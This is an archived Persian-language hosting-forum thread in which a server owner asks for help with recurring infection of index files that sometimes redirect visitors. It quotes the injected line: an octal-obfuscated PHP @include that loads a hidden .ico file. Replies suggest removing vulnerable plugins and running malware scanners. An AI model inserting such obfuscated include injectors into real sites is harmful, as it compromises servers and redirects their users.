مشکل ویروسی شدن فایل های سرور [بایگانی] - انجمن تخصصی وب هاستینگ ایران

vahidmomtazi

April 20th, 2020, 14:50

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

ULTRAWEB

April 21st, 2020, 06:14

منشا الودگی رو باید بگردی پیداکنی
مثلا پلاگینی قالبی چیزی
تااونم حذف نکنی خوب اینابازم سروکلشون پیدا میشه

Motahari.web

April 21st, 2020, 06:39

شما نرم افزار rlkill رو روی لینوکس اجرا کنید ترمینیت میشن همه

Gameserver.IR

April 21st, 2020, 12:46

با سلام

من این مشکل رو تونستم با imunify حل کنم .

vahidmomtazi

April 22nd, 2020, 11:17

با سلام

من این مشکل رو تونستم با imunify حل کنم .

چی هست راهنمایی میکنی؟

ULTRAWEB

April 26th, 2020, 23:42

چی هست راهنمایی میکنی؟
ابزاری برای حذف کدهای الوده از برنامه ها و سرورها هستن دوست گرامی (:|

hamra

April 26th, 2020, 23:52

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس
بله این کد های مخرب را روی سایت های برخی مشترکین مشاهده کردیم
این مشکل از سمت پلاگین هاتون هست -
یا یک پلاگین مخرب دارید
یا پلاگین هاتون اپدیت نیست

----
راه حل:
اول فایل های سالم را روی هاست بارگزاری کنی( فایل های اولیه قبل از الوده شدن)
سپی کلیه پلاگین هارو به روز کنید و پلاگین مخربی اگر مشاهده کردید و ضروری نبود حذف کنید و مشکل رفع میشود

youplus

April 27th, 2020, 00:47

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

سلام.
این مسیر آلوده است:
/home/******************/private_html/assest/css/colors

soheil869

April 29th, 2020, 06:10

من معمولا روی سرور CXS
https://configserver.com/cp/cxs.html

رو نصب میکنم و معمولا هم خیلی خوب کار میکنه و مشکلی نداره